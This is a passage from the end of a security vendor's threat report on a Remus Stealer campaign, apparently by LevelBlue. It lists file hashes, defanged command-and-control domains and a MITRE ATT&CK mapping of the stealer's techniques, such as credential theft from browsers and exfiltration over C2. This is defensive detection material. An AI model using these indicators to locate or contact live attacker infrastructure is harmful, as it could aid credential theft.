5363bc92bac44aa2ba87b46c59fd3f78d5cdd32839efa854e97380a55fdacabb |
Donut Shellcode |
|
dc0a864f441f0237853b40217eda577defb7c1dd15af407c7241688b1b3a3b46 |
Remus Stealer |
|
a0923188fbd52277e1711ae312f3c6fb841f3cdebe1a95d5c89fe2455f8ace32 |
|
|
oceanvw[.]click |
Remus Stealer C2 |
|
cruahop[.]shop |
|
|
drepace[.]click |
|
|
spogear[.]click |
Appendix C: MITRE ATT&CK
|
Tactic |
Technique |
ID |
|
Initial Access |
Drive-by Compromise |
T1189 |
|
Execution |
Command and Scripting Interpreter: PowerShell |
T1059.001 |
|
Command and Scripting Interpreter: Windows Command Shell |
T1059.003 |
|
|
Command and Scripting Interpreter: JavaScript |
T1059.007 |
|
|
Command and Scripting Interpreter: AutoHotKey & AutoIT |
T1059.010 |
|
|
System Binary Proxy Execution: Rundll32 |
T1218.011 |
|
|
User Execution: Malicious Copy and Paste |
T1204.004 |
|
|
Privilege Escalation |
Abuse Elevation Control Mechanism |
T1548 |
|
Process Injection: Portable Executable Injection |
T1055.002 |
|
|
Event Triggered Execution: Windows Management Instrumentation Event Subscription |
T1546.003 |
|
|
Stealth |
Reflective Code Loading |
T1620 |
|
Deobfuscate/Decode Files or Information |
T1140 |
|
|
Obfuscated Files or Information |
T1027 |
|
|
Masquerading: Match Legitimate Resource Name or Location |
T1036.005 |
|
|
Hijack Execution Flow: DLL |
T1574.001 |
|
|
Hide Artifacts: Hidden Window |
T1564.003 |
|
|
Credential Access |
Steal Web Session Cookie |
T1539 |
|
Unsecured Credentials: Credentials In Files |
T1552.001 |
|
|
Credentials from Password Stores: Credentials from Web Browsers |
T1555.003 |
|
|
Collection |
Data from Local System |
T1005 |
|
Screen Capture |
T1113 |
|
|
Archive Collected Data: Archive via Custom Method |
T1560.003 |
|
|
Data Staged |
T1074 |
|
|
Discovery |
Browser Information Discovery |
T1217 |
|
System Network Configuration Discovery |
T1016 |
|
|
Process Discovery |
T1057 |
|
|
System Information Discovery |
T1082 |
|
|
File and Directory Discovery |
T1083 |
|
|
Virtualization/Sandbox Evasion |
T1497 |
|
|
Software Discovery: Security Software Discovery |
T1518.001 |
|
|
Command and Control |
Web Service: Dead Drop Resolver |
T1102.001 |
|
Application Layer Protocol: Web Protocols |
T1071.001 |
|
|
Non-Standard Port |
T1571 |
|
|
Ingress Tool Transfer |
T1105 |
|
|
Encrypted Channel |
T1573 |
|
|
Hide Infrastructure |
T1665 |
|
|
Exfiltration |
Exfiltration Over C2 Channel |
T1041 |
About LevelBlue
LevelBlue secures what's next with intelligence-led security delivering visibility and speed to stop threats faster. As the world’s largest and most analyst-recognized pure-play managed security services provider, our AI-powered managed services and cyber expertise across managed, advisory, and incident response services help clients operate with confidence. Learn more about us.